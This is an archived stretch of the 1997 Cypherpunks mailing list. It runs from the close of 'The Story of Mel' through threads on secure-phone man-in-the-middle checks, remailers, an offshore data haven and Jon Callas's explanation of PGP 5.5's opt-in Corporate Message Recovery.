     Although "optimum" is an absolute term,
     like "unique", it became common verbal practice
     to make it relative:
     "not quite optimum" or "less optimum"
     or "not very optimum".
     Mel called the maximum time-delay locations
     the "most pessimum".

     After he finished the blackjack program
     and got it to run
     ("Even the initializer is optimized",
     he said proudly),
     he got a Change Request from the sales department.
     The program used an elegant (optimized)
     random number generator
     to shuffle the "cards" and deal from the "deck",
     and some of the salesmen felt it was too fair,
     since sometimes the customers lost.
     They wanted Mel to modify the program
     so, at the setting of a sense switch on the console,
     they could change the odds and let the customer win.

     Mel balked.
     He felt this was patently dishonest,
     which it was,
     and that it impinged on his personal integrity as a programmer,
     which it did, so he refused to do it. The Head Salesman talked to
     Mel, as did the Big Boss and, at the boss's urging, a few Fellow
     Programmers. Mel finally gave in and wrote the code, but he got
     the test backwards, and, when the sense switch was turned on, the
     program would cheat, winning every time. Mel was delighted with
     this, claiming his subconscious was uncontrollably ethical, and
     adamantly refused to fix it.

     After Mel had left the company for greener pa$ture$,
     the Big Boss asked me to look at the code
     and see if I could find the test and reverse it.
     Somewhat reluctantly, I agreed to look.
     Tracking Mel's code was a real adventure.

     I have often felt that programming is an art form,
     whose real value can only be appreciated
     by another versed in the same arcane art;
     there are lovely gems and brilliant coups
     hidden from human view and admiration, sometimes forever,
     by the very nature of the process.
     You can learn a lot about an individual
     just by reading through his code,
     even in hexadecimal.
     Mel was, I think, an unsung genius.

     Perhaps my greatest shock came
     when I found an innocent loop that had no test in it.
     No test.  *None*.
     Common sense said it had to be a closed loop,
     where the program would circle, forever, endlessly.
     Program control passed right through it, however,
     and safely out the other side.
     It took me two weeks to figure it out.

     The RPC-4000 computer had a really modern facility
     called an index register.
     It allowed the programmer to write a program loop
     that used an indexed instruction inside;
     each time through,
     the number in the index register
     was added to the address of that instruction,
     so it would refer
     to the next datum in a series.
     He had only to increment the index register
     each time through.
     Mel never used it.

     Instead, he would pull the instruction into a machine register,
     add one to its address, and store it back. He would then execute
     the modified instruction right from the register. The loop was
     written so this additional execution time was taken into account
     --- just as this instruction finished, the next one was right
     under the drum's read head, ready to go. But the loop had no test
     in it.

     The vital clue came when I noticed
     the index register bit,
     the bit that lay between the address
     and the operation code in the instruction word,
     was turned on ---
     yet Mel never used the index register,
     leaving it zero all the time.
     When the light went on it nearly blinded me.

     He had located the data he was working on
     near the top of memory --
     the largest locations the instructions could address ---
     so, after the last datum was handled,
     incrementing the instruction address
     would make it overflow.
     The carry would add one to the
     operation code, changing it to the next one in the instruction
     set: a jump instruction. Sure enough, the next program
     instruction was in address location zero, and the program went
     happily on its way.

     I haven't kept in touch with Mel,
     so I don't know if he ever gave in to the flood of
     change that has washed over programming techniques
     since those long-gone days.
     I like to think he didn't.
     In any event,
     I was impressed enough that I quit looking for the
     offending test,
     telling the Big Boss I couldn't find it.
     He didn't seem surprised.

     When I left the company,
     the blackjack program would still cheat
     if you turned on the right sense switch,
     and I think that's how it should be.
     I didn't feel comfortable
     hacking up the code of a Real Programmer.

-----------------

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 8 Oct 1997 01:17:23 +0800
To: "Peter Trei" <cypherpunks@toad.com
Subject: Re: [LONG, off-topic]] Interactive Programming
In-Reply-To: <199710071346.GAA11853@toad.com>
Message-ID: <v03007804b0601a54e970@[207.94.249.179]>
MIME-Version: 1.0
Content-Type: text/plain



Peter - Thanks for a trip down nostalgia road.

At 2:55 AM -0700 10/7/97, Peter Trei wrote:
>     I first met Mel when I went to work for Royal McBee Computer
>     Corp., a now-defunct subsidiary of the typewriter company. The
>     firm manufactured the LGP-30, a small, cheap (by the standards of
>     the day) drum-memory computer, and had just started to
>     manufacture the RPC-4000, a much-improved, bigger, better, faster
>     -- drum-memory computer. Cores cost too much, and weren't here to
>     stay, anyway. (That's why you haven't heard of the company, or
>     the computer.)

Ah, the third machine I programmed in machine language was a LGP-30.  It
brings back fond memories of the not so good old days.


>     Mel's job was to re-write
>     the blackjack program for the RPC-4000.
>     (Port?  What does that mean?)
>     The new computer had a one-plus-one
>     addressing scheme,
>     in which each machine instruction,
>     in addition to the operation code
>     and the address of the needed operand,
>     had a second address that indicated where, on the revolving drum,
>     the next instruction was located.

My first machine, the IBM 650 had this feature.  The last one I saw was in
a technical museum in Vienna.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 8 Oct 1997 01:15:52 +0800
To: cypherpunks@ssz.com
Subject: Re: Trademarking CypherSpace???
In-Reply-To: <199710062122.WAA03996@notatla.demon.co.uk>
Message-ID: <19971007100557.06259@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Oct 06, 1997 at 10:22:21PM +0100, Antonomasia wrote:
> Tim wrote:
> 
> > Seems to me I-Planet can't trademark a word which has been in usage by many
> > of us for several years. What could they do, demand that we stop using a
> > word we in all likelihood coined? Remove our old writings from the Web?
> 
> > I don't know about trademark law, and about whether "prior use" invalidates
> > an attempted trademark.  It seems unrealistic for them to lay claim to a
> > word someone else invented.
> 
> 
> The Kodak disposable camera I have in front of me says
> 
>          "Kodak, Fun and Gold are trade marks."
> and
>            "(c) EASTMAN KODAK COMPANY, 1994"
> 
> while I have 361 references to Gold, dated 1611, and it was
> very likely an old word then.  These trademark assertions are daft.

Prior use has nothing to do with trademark protection, unless it is 
prior use in a similar *business*.  It's TRADEmark.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Tue, 7 Oct 1997 15:25:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: russia_1.html
In-Reply-To: <199710070641.IAA02251@ankara.duzen.com.tr>
Message-ID: <199710070709.JAA02293@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



> I think this comment is in error.  Plutonium has a half life on the
> order of 250,000 years, so very little decay products would build up
> in 6 years. The tritium used in thermonuclear weapons has a much
> shorter half life, and would need to be replaced about that often.


Since radioactive decay is first-order, the following equation 
applies:

      N = N  exp(-kt)
           0

where N=amount of material at time 't'; N = amount of material at time
t; k=decay rate constant; t=time of interest.

The decay rate constant (k) for first-order decay processes can be
expressed as k = ln(2)/half-life.

Hence the equation can be expressed as follows:

    N / N  = exp(-[ln(2)/half-life]*t)
         0

N / N  will express the amount of substance remaining as a percentage 
     0
of the original.

Plugging in the numbers:

      exp(-[ln(2)/250,000y]*6y) = 99.998%

Hence, ca. 0.002% (actually less than that) of the material has 
decayed.  It may be the case that even this minute amount of 
"impurity" could poison something like weapons-grade material, but I
am not a radioactive materials expert.

Mitch Halloran
Research Biochemist/C programmer/Sequioa's (dob 12-20-95) daddy
Duzen Laboratories Group
mitch@duzen.com.tr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Tue, 7 Oct 1997 23:36:21 +0800
To: Eric Blossom <aba@dcs.ex.ac.uk
Subject: Re: Secure phone
In-Reply-To: <199710060125.CAA03034@server.test.net>
Message-ID: <3.0.3.32.19971007102724.00a499c0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 12:05 PM 10/6/97 -0700, Eric Blossom wrote:
>None of this is designed to provide authentication of the end point.
>It is designed to ensure that you've got a private channel to the end
>point. 

Therefore, man-in-the-middle can be more precisely described as an
unauthenticated end-point problem.  Therefore, without authentication,
there is no defense (yet) against MITM attacks.

One of the previous threads got me thinking:  the original thought was
something on the order of "make it so complex it takes so long to compute
that we know there was an MITM."  Obviously, Mallory can be given enough
resources to defeat a computationally bound challenge.  However, could
there be a way to use a trusted third party (Trent) to validate such a scheme?

Lets say that Trent is a trusted third party that operates a Digital
Notary, and will sign and datestamp any packet.  Can we use the old "one
oracle always lies, one oracle always tells the truth" riddle to pass a
request through Bob (or in the MITM case, Mallory) to Trent, who always
tells the truth?

(The riddle works like this:  You enter a room with two doors.  In front of
each sits an oracle.  A sign says that, "One oracle always lies, one always
tells the truth; behind one exit is a hungry tiger, and behind the other is
freedom.  You are allowed to ask the oracles any questions you wish."

The answer is: ask one of the oracles "which door would the OTHER oracle
say contains the tiger?", then you pick the OPPOSITE door to make your
getaway.  The idea is that you use the truth of one to include the lie of
the other to ensure your safety, without attempting to discover the
irrelevant fact of which oracle lies.)

Can we somehow use this to force a MITM to tip his hand?  Can we ask the
other end "make this request of Trent, and send me the response?"  Any
request Alice makes of Bob will instead be made by Mallory on Bob's behalf,
so it has to be for something either non-duplicatable or externally
verifiable.

Perhaps Alice and Bob can both ask Trent to do something externally
verifiable.  They could both ask Trent to lock up for a ten-second period
of time.  I know the MITM could use Trent for the conversation with Alice,
and Terrance for the conversation with Bob, but if Trent is somehow agreed
to or implied by the protocol, it might work.  But, of course, nobody would
want to sit around waiting for their 10 seconds of holding.  And if you had
to wait, it would give time for Mallory to spoof the waits.  

What if both sides asked Trent to display a list of all "registered"
conversations that were taking place at a particular point in time?  Trent
could list that between 9:48:01 and 9:48:06 there were 20 conversations
being authenticated.  Among them are:  Alice PK 1234 was talking to Bob PK
1111 and also a Bob PK 5678 was talking to an Alice PK 2222.

Of course, this guarantees externally auditable traffic analysis.  But if
we're trying to assure that an unauthenticated Bob can talk securely to an
unauthenticated Alice, it might be an acceptable tradeoff.

All this assumes that the MITM can't get between Alice and Trent.  If an
authenticated public key is used for Trent, then Alice is OK as long as
Mallory isn't Trent's operator!

Obviously, the easy solution is to use authenticated public keys all
around.  Replace Trent in the above with Trusted Public Key Server, and
authentication is guaranteed.  

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Tue, 7 Oct 1997 23:45:27 +0800
To: cypherpunks@cyberpass.net
Subject: Real DataHaven - Regulatory Arbitrage
Message-ID: <Pine.LNX.3.95.971007113224.17151C-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




The Anguillian company "PublicData.Com.AI Ltd." is running a database out
of Anguilla because the laws in Texas changed making a previous business
there illegal.  So this is a real "datahaven" type application.  Basically
they have criminal records, drivers licenses, voter registrations, and
vehicle registrations in Texas or parts of Texas. 

Offshore Information Services Ltd. provides Internet service for them.
We are currently at 128 kbits/second.

    -- Vince

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince@Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 7 Oct 1997 23:55:04 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.5 has conventional encryption
Message-ID: <7c4f2873eeaeb48673069d2841abc649@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



PGP 5.5 supports conventional encryption.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Wed, 8 Oct 1997 03:02:28 +0800
To: stutz@dsl.org
Subject: Crowds as an anonymous remailer
Message-ID: <199710071855.LAA06349@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Regarding your post to cypherpunks asking about a distributed remailer
network - this is very much what the Mixmaster remailers do now. Each
message is cut into uniformly sized encrypted chunks which are traded
in a stormy cloud of random traffic between the remailers, until they
reach an outlet point. See http://www.obscura.com/~loki for more info.

Mark Hedges
Infonex Internet Inc.


>On the subject of Crowds
>(<http://www.wired.com/news/news/technology/story/7331.html>), a distributed
>system for anonymous Web browsing, I was wondering if anyone knew of any
>attempts or efforts to create a decentralized remailer network in the same
>manner -- can such a thing be done, and be useful?
> 
>Such a system might work quite like Crowds (or could even be a subset of
>Crowds itself, or based on it, as the source is available), with a small
>"jondo" program running on each host in the remailer network. To send an
>anonymous message you must be running a jondo, hence you are part of the
>network. The jondo takes your message, encrypts and randomly forwards it to
>any jondo in the network, which then either re-forwards it to another jondo
>or its final destination.
> 
>There is no way for the recipient to know who the original sender was other
>than that sender was part of the crowd running the jondos, and there is no
>central remailer machine to target since the "remailer" consists of a
>network of machines running these jondos. As members increase, the network
>performance as well as the degree of anonymity increases (imagine, for
>instance, if such a program came with Linux as a standard part of the OS).
> 
> 
>m
> 
>email stutz@dsl.org  Copyright (c) 1997 Michael Stutz; this information is
><http://dsl.org/m/>  free and may be reproduced under GNU GPL, and as long
>                     as this sentence remains; it comes with absolutely NO
>                     WARRANTY; for details see <http://dsl.org/copyleft/>.
> 
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Oct 1997 01:26:18 +0800
To: cypherpunks@toad.com
Subject: Re: Real DataHaven - Regulatory Arbitrage
In-Reply-To: <Pine.LNX.3.95.971007113224.17151C-100000@online.offshore.com.ai>
Message-ID: <cNP8De2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Vincent Cate <vince@offshore.com.ai> writes:

> 
> 
> The Anguillian company "PublicData.Com.AI Ltd." is running a database out
> of Anguilla because the laws in Texas changed making a previous business
> there illegal.  So this is a real "datahaven" type application.  Basically
> they have criminal records, drivers licenses, voter registrations, and
> vehicle registrations in Texas or parts of Texas. 
> 
> Offshore Information Services Ltd. provides Internet service for them.
> We are currently at 128 kbits/second.

Suppose someone doesn't like Vince's client and sends that client a lot
of e-mail.  Vince will then charge the client for receiving e-mail.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 8 Oct 1997 00:21:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Right to Work for Nobody
Message-ID: <f244ebb4ca15445456fee967314b05d9@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 11:08 AM 10/6/97 -0500, William H. Geiger III wrote:
>founders. While the socialist is pissing his life away on the road to
>medocracy the founders of such companies, and 1000's like them, are
>working 80+ hours a week building their company sometimes at the expence
>of health, home and family.
>
>After years of hard work, when the founders are finaly able to reap the
>fruits of their toil, the socialist will step up and say: "I want what you
>have, you can't have that because I don't" even though the socialist has
>done nothing to earn it. 

I understand your argument here, but I have to disagree with some of your base assumptions.  There are people who are in situations beyond their control, working their asses off.  Born to the wrong parents, with the wrong skin color in the wrong neighborhood, or got a girl pregnant at age 15 and instead of leaving her on welfare and running off to finish law school (unlike a few senators) he did the "right" thing and married her; and then this poor schlep takes two 40-hour/week jobs at McDonalds to try to make the rent payment on some rat-infested converted warehouse.

What's the difference between his 80+ hours per week and the C.E.O. of 
K-Mart's 80+ hours per week?

I'm not saying that society owes him anything more than the chance he already had (and blew); rather, I'm just pointing out that there are more people lined up at the dole than just socialists crying, "there ought to be a law."  Some of them are truly hard workers that either had shit-for-luck when they needed it, or no scruples when they should have used them.

Which would you choose in the above situation?  Abandon the girl & child to welfare and go on to run for president, or marry her and lead a hard life of squalor, working 80+ hours per week trying your damndest to stay out of the welfare office?  Get a better job, in this factory town that just closed down and has 25% unemployment?  You're glad for the two jobs you've got.

Or how about a worse case:  your car is hit by a poor, lazy drunk driver with no insurance, leaving you paraplegic and blind?  Your occupation used to be carpenter, and you worked 80+ hour weeks including night jobs for friends, but you never could afford long-term medical insurance.  Your insurance company claims you recorded your car's VIN number incorrectly, so they're not liable for covering you.  What do you do?

Your company makes some chemoglarb for use in rat poison.  You've worked 80+ hour weeks trying to get a job as the safety coordinator because the company needs one desparately.  They have a toxic leak before you get the job, and are bankrupt before the affected workers see their last paycheck.  You're laid off, and now you can't even sit up in bed because of the damage to your lungs.  What do you do?

Or you're black, working 80+ hour weeks at a job trying to get ahead.  Your white coworkers start talking about lynching you for being uppity.  What do you do?

Before condemning all of humanity asking for handouts as lazy scum who don't deserve them, consider all these people in situations that didn't deserve to be there any more than you deserve to be rich.  You have many advantages:  brains, education, situation, location.  They have more than equal (or even overwhelming) disadvantages:  injuries, responsibilities, situations, locations.  There are some people in truly shitty situations.  

So, what do we OWE them?  That's easy -- *nothing*.  They were not offered a signed contract when they were born saying that life would be fair to them.

Should we help them?  That's a different question.  A friend of mine has a T-shirt that says "Detroit -- where the weak are killed and eaten."  That's a common enough response in the animal kingdom, but are we higher than that?  Sure, people like you will ignore them on the streets because they're "Somebody Else's Problem."  Does that make it more or less fair for the people who actually give a shit about others and do something to help them?  Or, maybe we're just stupid for trying to drag the injured gazelles along with the rest of the herd.  Maybe we should just let them fall to the lions.

Here's a toast to your long good health and continued prosperity, so I don't have to sweat hauling your sorry ass up from the lions some day in the future.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Wed, 8 Oct 1997 04:06:54 +0800
To: jad@dsddhc.com
Subject: Re: Secure phone
In-Reply-To: <3.0.3.32.19971007102724.00a499c0@labg30>
Message-ID: <199710071944.MAA24493@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> At 12:05 PM 10/6/97 -0700, Eric Blossom wrote:
> >None of this is designed to provide authentication of the end point.
> >It is designed to ensure that you've got a private channel to the end
> >point. 
> 
> Therefore, man-in-the-middle can be more precisely described as an
> unauthenticated end-point problem.  Therefore, without authentication,
> there is no defense (yet) against MITM attacks.

I concur from the theoretical point of view.

In a practical sense I guess it all boils down to what our working
definition of authentication is.  If I'm using one of my phones and
talking to somebody that I know (recognize voice, speech patterns,
shared history, ...) and the verification codes check out, I'm highly
confident that there is no man-in-the-middle.  I'm free to have
whatever conversation I like, modulo bugs in the room, laser window
bounce listeners, etc.


On the "beat the verification codes by spoofing the voice" thread:

I don't think that this is a practical threat.  You've got the
computational challenge (described in the previous posts) and the
human part.  The complications come from the fact that you've got two
live people having a conversation with each other.  At least in the
conversations I have, we don't read these things back and forth like
robots to each other.  

In secure mode there are 6 hex digits displayed on each unit.  On one
unit, the first three digits are underlined.  On the other unit, the
last three digits are underlined.  By convention, you say the three
that are underlined, and listen for the other three.  This seems to
work out pretty well in practice.  There is generally a "Hi, I'm
looking at 1FC", "4D9, good.  What's up?" type of interaction.

<Blatant_Commercial_Pitch>

I'm running a "Privacy Extremist" special on the GSP's.
$795 for one, or two for $1500.  Cash/Check/MO/MC/VISA/AMEX.
Add $16 shipping for one, $20 for two.  CA residents add sales tax.
US and Canada only.  30 day money back.  1 year warranty.

	Communication Security Corp.
	1275 Fourth St., Suite 194
	Santa Rosa, CA 95404
	v: 707-577-0409
	f: 707-577-0413
	eb@comsec.com
	http://www.comsec.com

</Blatant_Commercial_Pitch>

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 8 Oct 1997 01:26:00 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <01adc6e019dc8db6fef340cfdab3aaa0@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



FBI trainees goof, nab innocent teen-agers

October 3, 1997 Web posted at: 9:35 p.m. EDT (0135 GMT)

ELIZABETHTOWN, Pennsylvania (AP) -- Armed FBI trainees in bulletproof vests and camouflage surrounded a group of teen-agers, handcuffed them and forced them to the ground before realizing they had the wrong people.

The trainees were taking part in a training exercise at a town square Wednesday night in which they were apparently supposed to nab others taking part in the drill.

Instead, up to 30 FBI trainees jumped out of a caravan of vehicles and descended on the innocent teen-agers, bound their wrists with plastic ties and ordered them to lie face-down on the sidewalk.

After about 30 minutes, the agents set the teens free.

The FBI would not comment on the specifics of the drill, but an FBI official apologized Friday and two agents visited the home of one of the youths Thursday night to express their regrets.

Copyright 1997   The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Wed, 8 Oct 1997 05:44:17 +0800
To: minow@apple.com
Subject: What's really in PGP 5.5?
Message-ID: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I have a number of comments about the New York Times article on PGP 5.5 for
Business of which Martin Minow sent a synopsis.

If we had built what they said we had, then we'd deserve of all the
derision people have directed at us. But we didn't. The New York Times got
it flat wrong.

I'll describe what we built, how it works, and its limitations. But first,
some background on the problem we're trying to solve in PGP 5.5.

A couple of years ago, the government sugarcoated their surveillance plans
by switching from "key escrow" to "key recovery," and trying to sell
surveillance to people by pointing out some of the downsides of strong
cryptography, and selling key recovery as the way around them.

One of the downsides of cryptography is that if you lose your passphrase
(or token, PIN, smart card, or whatever), you've lost your data. My
favorite way of expressing this problem is, "if you lose the keys to your
car, then you have to get a new car."

This downside is particularly insidious for a number of reasons. First,
without fixing that problem, strong cryptography will be in some sort of
limbo. You want to use it to protect your valuable information, but you
won't want to use it for any information that's *too* valuable, because
it's easily lost. Crypto-protected information is fragile, and this
fragility could hurt its widespread deployment.

Worse, this gives the government a rationale for regulating cryptography.
Like it or not, government has a mandate to protect the people from
dangerous technologies, be they in foods, drugs, autos, or information
technologies. Many people believe that the government uses this mandate as
a rationale for acquiring power, many people would prefer that they let us
take our chances, but that's not germane to this discussion.

It *is* germane to note that when you hear some ham-fisted remark about how
surveillance is like air bags, they are saying: they have to protect people
from dangerous things, crypto is dangerous, therefore they have to protect
people from crypto.

When they started mumbling along these lines, the privacy community got
their own act together and started describing what we believe to be the
real solution. This is called "data recovery." The first time I heard the
term, I hated it. I still hate it. The reason I hate it is that it's got
the word "recovery" in it, which makes it sound to someone who isn't paying
a lot of attention that all recovery systems are basically the same thing.
Most of the people in the world don't pay a lot of attention most of the
time. When I was at HIP97 this August, I was amused to hear cypherpunks
chanting, "Data recovery good, key recovery bad." The sublimely Orwellian
tone of this mantra makes me laugh and cringe at the same time. (To explain
the reference, in Orwell's "Animal Farm," there's a revolution in the farm
and the animals take over, run by the pigs. One of the slogans they have is
"four legs good, two legs bad." By the end of the book, the pigs are nigh
indistinguishable from the people. But I digress.)

The essence of data recovery is that focusing on the keys is a canard. If
you've misplaced your data, you want the data back, not the keys. The only
people who want your keys are people who want to spy on you. If you've
locked yourself out of your car, you want the use of your car, not the just
the key. Thus, the solution to encrypted data being fragile is to let
people get to the data. Simple, obvious, but subtle, because the key to
getting the data is the key.

If you don't like data recovery, you aren't going to like what we did in
PGP 5.5 -- we built a data recovery system. Some people aren't going to
like it, and some of those will think this missive is a load of
self-serving twaddle. Myself, it gives me the same mildly uncomfortable
feeling that fake rocks for spare keys do, or skeleton keys do, financial
audits, or any other similar technology. Uncomfortable feelings aside, if
the fragility problem is not solved, then many people who should be using
crypto won't, and government will continue to view this problem as a
question of public safety, and thus in their mandate to regulate.

Data recovery is useful for a number of things. Perhaps you lost your
passphrase. Or data might have been encrypted by an employee or co worker
who was in an accident. (As an aside, fifteen years ago, the architect of a
product I worked on was in a severe car wreck. He was not killed, but
suffered brain damage and has never returned to work.) Your spouse might
need access to financial records. Everyone, be they an individual,
business, or coporation has a right to having their data protected, and
protection not only means being able to put it into a safe, but getting it
out of that safe later.

What makes data recovery different from key recovery? In my opinion, data
recovery allows you to get encrypted data without compromising the key of
the person who encrypted it. Data is property, and keys are property. An
ethically built system allows emergency access to data without destroying
the property of the key owner.

Ethically built data recovery software has a number of properties:

(1) It is surveillance-surly. It should be impossible or unwieldy for an
adversary, be they government (yours or foreign), dirtballs (such as
crackers), business competitors (who sometimes count as dirtballs), or
others to use this against you. The system should also be aware of how
passive surveillance (like traffic analysis) interacts with it.

(2) It is an "opt-in" system. Users must consent to it, and must take some
action to start using it. It should be as easy as possible to stop using
the system. The system must also allow someone who does not opt in to use
all the system's features. Please note that abuses of consent (for example,
an employer who says, "consent or we fire you") are something we can't
prevent in any system.

(3) It must obey the principle of fair warning. If you send me a message
that is subject to data recovery, you should know that before sending the
message. This way, if you don't agree with my policy, you can decide not to
send me that message. This interacts closely with the opt-in principle above.

(4) The data recovery system should be preferable to an escrow system. A
number of corporations who use PGP keep copies of their employees' secret
keys. This is both odious and dangerous. Escrowed keys are a target for
attackers, subpoena-bait, and potentially ruin the value of digital
signatures. It's just bad policy.

(5) The system has to allow someone under a legal threat to respond
effectively to that threat. Legal threats include warrants, subpoenas, and
discovery processes. You have to be able to respond to the request for
information without losing your keys and thus all of your data.

(6) It must also provide a response to those who would regulate crypto in
the name of public safety. Fortunately for us, potential regulators have
focused on the horsemen of the infocalyse. There are other
pseudo-public-welfare threats including the rights of a person to their
spouse's records, or the rights of heirs to information property. We, the
people who design privacy systems, have to think about what happens when
the regulators stop dragging out the pornographers and start dragging out
the poor widows and orphans.

Note that these requirements are not completely consistent with each other.
For example, an opt-in system is riskier than an opt-out system, yet
friendlier to one's own privacy. Balancing these requirements is part of
the difficulty of good software design.

If you have been skimming the above, wondering when I'm going to get around
to actually telling you what we did in PGP 5.5, this is it.

With PGP 5, there are a number of attributes of your key that are stored in
a self-signature. For example, your preferred symmetric algorithms are
stored in your self-signature. The data recovery feature -- which we call
"Corporate Message Recovery" -- is an attribute in your self-signature that
tells anyone who receives your key that you want messages encrypted to you
to also be encrypted to that other key. There is also a flag that tells the
encryptor, "please" or "I insist." Architecturally, there can even be more
than one recovery key. That's it. That's all it is.

Well, that's mostly all it is. There are other bits of the system. For
example, if I look up Alice's key on a key server and Alice has a recovery
key, I get Alice's recovery key, too. If Alice's recovery key is a "please
use" key, then I can encrypt to Alice alone. In any case, the PGP software
tells me that Alice has a recovery key, so I can decide to use some other
mechanism to talk to her.

Note that design satisfies the opt-in and fair-warning requirements. Also,
since Alice's recovery key is an attribute of her self-signature, she can
change it. She can even have a second user name (let's call it Bob), that
has no recovery key.

Also, we have three encryption products: PGP freeware, PGP for Personal
Privacy, and PGP for Business Security. Corporate Message Recovery is
included *only* in PGP for Business Security. It is not, and never will be,
in either the freeware or the Personal Privacy product. It is an extra cost
item that we created for businesses as per their requirements. As I stated
above, a number of these businesses keep copies of their employees' secret
keys. One of the reasons we created this feature is to satisfy their
requirements with some mechanism that is less blunt than key escrow.

When a PGP message is formed, there are a number of "packets" that make up
the message. The usual construction is that there is a "session key" packet
for each public key that the message is to be read by. Following that is
the actual message packet, that is encrypted with a symmetric cypher to
session key. The session key packets specify the *key*, by its 64-bit key ID.

This is an important and subtle point. Let's go back to Alice, a.k.a. Bob.
The information that specifies a recovery key is in a self-signature of a
user name, but the session key specifies a public key by keyID. It is
impossible, solely from looking at a message, to know if it is addressed to
Alice or Bob because that information is not stored in the message. A
message that does not honor recovery is syntactically correct.

I don't know why Bruce Schneier said that this is everything the FBI wants.
If it is, then they have changed spots! One of the major ways PGP's system
differs from anything else I've seen is that it has no enforcement built
into the protocol. This helps make PGP surveillance-surly, with or without
Corporate Message Recovery. If this is all the FBI needs, then they've
decided the way to get your files is to knock on your door with a warrant,
and that's a big, big, big step forward.

Getting back to the system, I'm sure you've noticed a gotcha there. If I
mail Alice a message that I encrypted to Bob, she can decrypt it, but the
recovery key can't. If you've been paying very close attention, you have
wondered something akin to, "hmm, if Alice's key accidentally lost its
self-signature, there would be no way to encrypt to her recovery key."
You're right. If Alice really wants recovery on messages sent to her, then
she has to use our SMTP Policy Management Agent.

The policy management agent is an SMTP proxy. You can configure it to do a
number of things. Most relevant to this discussion is that Alice can use
the policy agent to require that her recovery key gets used. However, the
policy agent does *not* decrypt the message. One of the very good features
of Business PGP is that it does not decrypt the message. It does not
prevent or even try to prevent multiple-encryption. It's really, really
easy to encrypt a message to Alice alone, and then encrypt that message to
both Alice and her recovery key. We're not going to change that. Nor does
the policy management agent archive messages, make copies, notify your
mother, or any of the other things we've been accused of doing with it.
It's simply the gatekeeper that enforces Alice's corporate policy.

To sum up, we created the Corporate Mesage Recovery feature to satisfy the
requirements of our customers who need emergency access to data. We made
careful decisions to make it useful and effective for honest people, while
minimizing its potential for abuse. No one has to use it; we do not include
it with PGP freeware, nor with PGP for Personal Privacy. We alert all users
of all products when they encrypt to someone who has a message recovery
key. It is an opt-in system that you can opt out of. It is not a
surveillance system. A few weeks ago, we showed it to the FBI and asked
their opinion. They told us it doesn't meet any of their needs.

- - ------
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
